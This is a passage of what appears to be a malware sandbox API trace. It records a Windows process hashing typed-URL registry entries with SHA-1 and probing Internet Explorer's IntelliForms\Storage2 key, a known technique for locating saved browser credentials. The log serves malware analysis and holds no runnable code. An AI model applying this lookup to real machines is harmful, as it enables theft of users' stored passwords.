returned="C2B72158342672B5ACF1F7FD" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD", lpString2="32" | out: lpString1="C2B72158342672B5ACF1F7FD32") returned="C2B72158342672B5ACF1F7FD32" [0096.976] LocalFree (hMem=0x7290b70) returned 0x0 [0096.976] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0096.976] lstrlenW (lpString="C2B72158342672B5ACF1F7FD32") returned 26 [0096.976] lstrlenW (lpString="7D") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.976] lstrcpyW (in: lpString1=0x2815a80, lpString2="C2B72158342672B5ACF1F7FD32" | out: lpString1="C2B72158342672B5ACF1F7FD32") returned="C2B72158342672B5ACF1F7FD32" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD32", lpString2="7D" | out: lpString1="C2B72158342672B5ACF1F7FD327D") returned="C2B72158342672B5ACF1F7FD327D" [0096.977] LocalFree (hMem=0x72912f0) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0096.977] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D") returned 28 [0096.977] lstrlenW (lpString="06") returned 2 [0096.977] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.977] lstrcpyW (in: lpString1=0x2815670, lpString2="C2B72158342672B5ACF1F7FD327D" | out: lpString1="C2B72158342672B5ACF1F7FD327D") returned="C2B72158342672B5ACF1F7FD327D" [0096.977] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D", lpString2="06" | out: lpString1="C2B72158342672B5ACF1F7FD327D06") returned="C2B72158342672B5ACF1F7FD327D06" [0096.977] LocalFree (hMem=0x2815a80) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0096.977] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D06") returned 30 [0096.977] lstrlenW (lpString="5E") returned 2 [0096.977] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.977] lstrcpyW (in: lpString1=0x2815a80, lpString2="C2B72158342672B5ACF1F7FD327D06" | out: lpString1="C2B72158342672B5ACF1F7FD327D06") returned="C2B72158342672B5ACF1F7FD327D06" [0096.977] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D06", lpString2="5E" | out: lpString1="C2B72158342672B5ACF1F7FD327D065E") returned="C2B72158342672B5ACF1F7FD327D065E" [0096.977] LocalFree (hMem=0x2815670) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.977] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D065E") returned 32 [0096.977] lstrlenW (lpString="E5") returned 2 [0096.977] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.977] lstrcpyW (in: lpString1=0x2815670, lpString2="C2B72158342672B5ACF1F7FD327D065E" | out: lpString1="C2B72158342672B5ACF1F7FD327D065E") returned="C2B72158342672B5ACF1F7FD327D065E" [0096.977] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D065E", lpString2="E5" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE5") returned="C2B72158342672B5ACF1F7FD327D065EE5" [0096.977] LocalFree (hMem=0x2815a80) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4A") returned 2 [0096.977] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D065EE5") returned 34 [0096.977] lstrlenW (lpString="4A") returned 2 [0096.977] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.977] lstrcpyW (in: lpString1=0x28e7910, lpString2="C2B72158342672B5ACF1F7FD327D065EE5" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE5") returned="C2B72158342672B5ACF1F7FD327D065EE5" [0096.977] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D065EE5", lpString2="4A" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A") returned="C2B72158342672B5ACF1F7FD327D065EE54A" [0096.977] LocalFree (hMem=0x2815670) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0096.977] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D065EE54A") returned 36 [0096.977] lstrlenW (lpString="86") returned 2 [0096.977] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.977] lstrcpyW (in: lpString1=0x28e7670, lpString2="C2B72158342672B5ACF1F7FD327D065EE54A" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A") returned="C2B72158342672B5ACF1F7FD327D065EE54A" [0096.977] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A", lpString2="86" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86") returned="C2B72158342672B5ACF1F7FD327D065EE54A86" [0096.977] LocalFree (hMem=0x28e7910) returned 0x0 [0096.977] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0096.978] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D065EE54A86") returned 38 [0096.978] lstrlenW (lpString="EA") returned 2 [0096.978] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.978] lstrcpyW (in: lpString1=0x28e7910, lpString2="C2B72158342672B5ACF1F7FD327D065EE54A86" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86") returned="C2B72158342672B5ACF1F7FD327D065EE54A86" [0096.978] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86", lpString2="EA" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86EA") returned="C2B72158342672B5ACF1F7FD327D065EE54A86EA" [0096.978] LocalFree (hMem=0x28e7670) returned 0x0 [0096.978] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0096.978] lstrlenW (lpString="C2B72158342672B5ACF1F7FD327D065EE54A86EA") returned 40 [0096.978] lstrlenW (lpString="B6") returned 2 [0096.978] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.978] lstrcpyW (in: lpString1=0x28e7670, lpString2="C2B72158342672B5ACF1F7FD327D065EE54A86EA" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86EA") returned="C2B72158342672B5ACF1F7FD327D065EE54A86EA" [0096.978] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86EA", lpString2="B6" | out: lpString1="C2B72158342672B5ACF1F7FD327D065EE54A86EAB6") returned="C2B72158342672B5ACF1F7FD327D065EE54A86EAB6" [0096.978] LocalFree (hMem=0x28e7910) returned 0x0 [0096.978] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.978] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.978] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.978] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.978] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.978] LocalFree (hMem=0x28e7670) returned 0x0 [0096.978] RegEnumValueW (in: hKey=0x368, dwIndex=0x1d, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url21", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.978] StrStrIW (lpFirst="avito.ru", lpSrch="?") returned 0x0 [0096.978] StrStrIW (lpFirst="avito.ru", lpSrch="http://") returned 0x0 [0096.978] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.979] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.979] lstrlenW (lpString="avito.ru") returned 8 [0096.979] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0096.979] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.979] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="65") returned 2 [0096.979] lstrlenW (lpString="") returned 0 [0096.979] lstrlenW (lpString="65") returned 2 [0096.979] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.979] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.979] lstrcatW (in: lpString1="", lpString2="65" | out: lpString1="65") returned="65" [0096.979] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0096.979] lstrlenW (lpString="65") returned 2 [0096.979] lstrlenW (lpString="70") returned 2 [0096.979] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.979] lstrcpyW (in: lpString1=0x28c81c0, lpString2="65" | out: lpString1="65") returned="65" [0096.979] lstrcatW (in: lpString1="65", lpString2="70" | out: lpString1="6570") returned="6570" [0096.979] LocalFree (hMem=0x7222e70) returned 0x0 [0096.979] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0096.979] lstrlenW (lpString="6570") returned 4 [0096.979] lstrlenW (lpString="1F") returned 2 [0096.979] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.979] lstrcpyW (in: lpString1=0x28ca380, lpString2="6570" | out: lpString1="6570") returned="6570" [0096.979] lstrcatW (in: lpString1="6570", lpString2="1F" | out: lpString1="65701F") returned="65701F" [0096.979] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.979] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D2") returned 2 [0096.979] lstrlenW (lpString="65701F") returned 6 [0096.979] lstrlenW (lpString="D2") returned 2 [0096.979] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.979] lstrcpyW (in: lpString1=0x28c81c0, lpString2="65701F" | out: lpString1="65701F") returned="65701F" [0096.980] lstrcatW (in: lpString1="65701F", lpString2="D2" | out: lpString1="65701FD2") returned="65701FD2" [0096.980] LocalFree (hMem=0x28ca380) returned 0x0 [0096.980] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0096.980] lstrlenW (lpString="65701FD2") returned 8 [0096.980] lstrlenW (lpString="DE") returned 2 [0096.980] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.980] lstrcpyW (in: lpString1=0x28ca380, lpString2="65701FD2" | out: lpString1="65701FD2") returned="65701FD2" [0096.980] lstrcatW (in: lpString1="65701FD2", lpString2="DE" | out: lpString1="65701FD2DE") returned="65701FD2DE" [0096.980] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.980] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.980] lstrlenW (lpString="65701FD2DE") returned 10 [0096.980] lstrlenW (lpString="96") returned 2 [0096.980] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.980] lstrcpyW (in: lpString1=0x71cfb40, lpString2="65701FD2DE" | out: lpString1="65701FD2DE") returned="65701FD2DE" [0096.980] lstrcatW (in: lpString1="65701FD2DE", lpString2="96" | out: lpString1="65701FD2DE96") returned="65701FD2DE96" [0096.980] LocalFree (hMem=0x28ca380) returned 0x0 [0096.980] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0096.980] lstrlenW (lpString="65701FD2DE96") returned 12 [0096.980] lstrlenW (lpString="31") returned 2 [0096.980] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.980] lstrcpyW (in: lpString1=0x71cf460, lpString2="65701FD2DE96" | out: lpString1="65701FD2DE96") returned="65701FD2DE96" [0096.980] lstrcatW (in: lpString1="65701FD2DE96", lpString2="31" | out: lpString1="65701FD2DE9631") returned="65701FD2DE9631" [0096.980] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.980] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="67") returned 2 [0096.980] lstrlenW (lpString="65701FD2DE9631") returned 14 [0096.980] lstrlenW (lpString="67") returned 2 [0096.980] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.980] lstrcpyW (in: lpString1=0x71cfb40, lpString2="65701FD2DE9631" | out: lpString1="65701FD2DE9631") returned="65701FD2DE9631" [0096.980] lstrcatW (in: lpString1="65701FD2DE9631", lpString2="67" | out: lpString1="65701FD2DE963167") returned="65701FD2DE963167" [0096.980] LocalFree (hMem=0x71cf460) returned 0x0 [0096.980] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0096.980] lstrlenW (lpString="65701FD2DE963167") returned 16 [0096.980] lstrlenW (lpString="63") returned 2 [0096.980] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.980] lstrcpyW (in: lpString1=0x71cf460, lpString2="65701FD2DE963167" | out: lpString1="65701FD2DE963167") returned="65701FD2DE963167" [0096.980] lstrcatW (in: lpString1="65701FD2DE963167", lpString2="63" | out: lpString1="65701FD2DE96316763") returned="65701FD2DE96316763" [0096.980] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763") returned 18 [0096.981] lstrlenW (lpString="D8") returned 2 [0096.981] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.981] lstrcpyW (in: lpString1=0x72912f0, lpString2="65701FD2DE96316763" | out: lpString1="65701FD2DE96316763") returned="65701FD2DE96316763" [0096.981] lstrcatW (in: lpString1="65701FD2DE96316763", lpString2="D8" | out: lpString1="65701FD2DE96316763D8") returned="65701FD2DE96316763D8" [0096.981] LocalFree (hMem=0x71cf460) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763D8") returned 20 [0096.981] lstrlenW (lpString="08") returned 2 [0096.981] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.981] lstrcpyW (in: lpString1=0x7290b70, lpString2="65701FD2DE96316763D8" | out: lpString1="65701FD2DE96316763D8") returned="65701FD2DE96316763D8" [0096.981] lstrcatW (in: lpString1="65701FD2DE96316763D8", lpString2="08" | out: lpString1="65701FD2DE96316763D808") returned="65701FD2DE96316763D808" [0096.981] LocalFree (hMem=0x72912f0) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763D808") returned 22 [0096.981] lstrlenW (lpString="81") returned 2 [0096.981] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.981] lstrcpyW (in: lpString1=0x72912f0, lpString2="65701FD2DE96316763D808" | out: lpString1="65701FD2DE96316763D808") returned="65701FD2DE96316763D808" [0096.981] lstrcatW (in: lpString1="65701FD2DE96316763D808", lpString2="81" | out: lpString1="65701FD2DE96316763D80881") returned="65701FD2DE96316763D80881" [0096.981] LocalFree (hMem=0x7290b70) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763D80881") returned 24 [0096.981] lstrlenW (lpString="FE") returned 2 [0096.981] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.981] lstrcpyW (in: lpString1=0x7290b70, lpString2="65701FD2DE96316763D80881" | out: lpString1="65701FD2DE96316763D80881") returned="65701FD2DE96316763D80881" [0096.981] lstrcatW (in: lpString1="65701FD2DE96316763D80881", lpString2="FE" | out: lpString1="65701FD2DE96316763D80881FE") returned="65701FD2DE96316763D80881FE" [0096.981] LocalFree (hMem=0x72912f0) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763D80881FE") returned 26 [0096.981] lstrlenW (lpString="16") returned 2 [0096.981] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.981] lstrcpyW (in: lpString1=0x2815670, lpString2="65701FD2DE96316763D80881FE" | out: lpString1="65701FD2DE96316763D80881FE") returned="65701FD2DE96316763D80881FE" [0096.981] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE", lpString2="16" | out: lpString1="65701FD2DE96316763D80881FE16") returned="65701FD2DE96316763D80881FE16" [0096.981] LocalFree (hMem=0x7290b70) returned 0x0 [0096.981] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0096.981] lstrlenW (lpString="65701FD2DE96316763D80881FE16") returned 28 [0096.981] lstrlenW (lpString="43") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.982] lstrcpyW (in: lpString1=0x2815a80, lpString2="65701FD2DE96316763D80881FE16" | out: lpString1="65701FD2DE96316763D80881FE16") returned="65701FD2DE96316763D80881FE16" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE16", lpString2="43" | out: lpString1="65701FD2DE96316763D80881FE1643") returned="65701FD2DE96316763D80881FE1643" [0096.982] LocalFree (hMem=0x2815670) returned 0x0 [0096.982] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0096.982] lstrlenW (lpString="65701FD2DE96316763D80881FE1643") returned 30 [0096.982] lstrlenW (lpString="A5") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.982] lstrcpyW (in: lpString1=0x2815670, lpString2="65701FD2DE96316763D80881FE1643" | out: lpString1="65701FD2DE96316763D80881FE1643") returned="65701FD2DE96316763D80881FE1643" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643", lpString2="A5" | out: lpString1="65701FD2DE96316763D80881FE1643A5") returned="65701FD2DE96316763D80881FE1643A5" [0096.982] LocalFree (hMem=0x2815a80) returned 0x0 [0096.982] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0096.982] lstrlenW (lpString="65701FD2DE96316763D80881FE1643A5") returned 32 [0096.982] lstrlenW (lpString="1F") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.982] lstrcpyW (in: lpString1=0x2815a80, lpString2="65701FD2DE96316763D80881FE1643A5" | out: lpString1="65701FD2DE96316763D80881FE1643A5") returned="65701FD2DE96316763D80881FE1643A5" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643A5", lpString2="1F" | out: lpString1="65701FD2DE96316763D80881FE1643A51F") returned="65701FD2DE96316763D80881FE1643A51F" [0096.982] LocalFree (hMem=0x2815670) returned 0x0 [0096.982] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0096.982] lstrlenW (lpString="65701FD2DE96316763D80881FE1643A51F") returned 34 [0096.982] lstrlenW (lpString="7A") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.982] lstrcpyW (in: lpString1=0x28e7670, lpString2="65701FD2DE96316763D80881FE1643A51F" | out: lpString1="65701FD2DE96316763D80881FE1643A51F") returned="65701FD2DE96316763D80881FE1643A51F" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643A51F", lpString2="7A" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A") returned="65701FD2DE96316763D80881FE1643A51F7A" [0096.982] LocalFree (hMem=0x2815a80) returned 0x0 [0096.982] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0096.982] lstrlenW (lpString="65701FD2DE96316763D80881FE1643A51F7A") returned 36 [0096.982] lstrlenW (lpString="90") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.982] lstrcpyW (in: lpString1=0x28e7910, lpString2="65701FD2DE96316763D80881FE1643A51F7A" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A") returned="65701FD2DE96316763D80881FE1643A51F7A" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643A51F7A", lpString2="90" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A90") returned="65701FD2DE96316763D80881FE1643A51F7A90" [0096.982] LocalFree (hMem=0x28e7670) returned 0x0 [0096.982] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0096.982] lstrlenW (lpString="65701FD2DE96316763D80881FE1643A51F7A90") returned 38 [0096.982] lstrlenW (lpString="1F") returned 2 [0096.982] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.982] lstrcpyW (in: lpString1=0x28e7670, lpString2="65701FD2DE96316763D80881FE1643A51F7A90" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A90") returned="65701FD2DE96316763D80881FE1643A51F7A90" [0096.982] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643A51F7A90", lpString2="1F" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A901F") returned="65701FD2DE96316763D80881FE1643A51F7A901F" [0096.983] LocalFree (hMem=0x28e7910) returned 0x0 [0096.983] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0096.983] lstrlenW (lpString="65701FD2DE96316763D80881FE1643A51F7A901F") returned 40 [0096.983] lstrlenW (lpString="DA") returned 2 [0096.983] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.983] lstrcpyW (in: lpString1=0x28e7910, lpString2="65701FD2DE96316763D80881FE1643A51F7A901F" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A901F") returned="65701FD2DE96316763D80881FE1643A51F7A901F" [0096.983] lstrcatW (in: lpString1="65701FD2DE96316763D80881FE1643A51F7A901F", lpString2="DA" | out: lpString1="65701FD2DE96316763D80881FE1643A51F7A901FDA") returned="65701FD2DE96316763D80881FE1643A51F7A901FDA" [0096.983] LocalFree (hMem=0x28e7670) returned 0x0 [0096.983] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.983] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.983] LocalFree (hMem=0x28e7910) returned 0x0 [0096.983] RegEnumValueW (in: hKey=0x368, dwIndex=0x1e, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url20", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.983] StrStrIW (lpFirst="youth.cn", lpSrch="?") returned 0x0 [0096.983] StrStrIW (lpFirst="youth.cn", lpSrch="http://") returned 0x0 [0096.983] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.984] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.984] lstrlenW (lpString="youth.cn") returned 8 [0096.984] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0096.984] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.984] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9B") returned 2 [0096.984] lstrlenW (lpString="") returned 0 [0096.984] lstrlenW (lpString="9B") returned 2 [0096.984] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.984] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.984] lstrcatW (in: lpString1="", lpString2="9B" | out: lpString1="9B") returned="9B" [0096.984] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.984] lstrlenW (lpString="9B") returned 2 [0096.984] lstrlenW (lpString="FD") returned 2 [0096.984] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.984] lstrcpyW (in: lpString1=0x28ca380, lpString2="9B" | out: lpString1="9B") returned="9B" [0096.984] lstrcatW (in: lpString1="9B", lpString2="FD" | out: lpString1="9BFD") returned="9BFD" [0096.984] LocalFree (hMem=0x7222e70) returned 0x0 [0096.984] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0096.984] lstrlenW (lpString="9BFD") returned 4 [0096.984] lstrlenW (lpString="72") returned 2 [0096.984] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.984] lstrcpyW (in: lpString1=0x28c81c0, lpString2="9BFD" | out: lpString1="9BFD") returned="9BFD" [0096.984] lstrcatW (in: lpString1="9BFD", lpString2="72" | out: lpString1="9BFD72") returned="9BFD72" [0096.984] LocalFree (hMem=0x28ca380) returned 0x0 [0096.984] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0096.984] lstrlenW (lpString="9BFD72") returned 6 [0096.984] lstrlenW (lpString="F4") returned 2 [0096.984] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.984] lstrcpyW (in: lpString1=0x28ca380, lpString2="9BFD72" | out: lpString1="9BFD72") returned="9BFD72" [0096.984] lstrcatW (in: 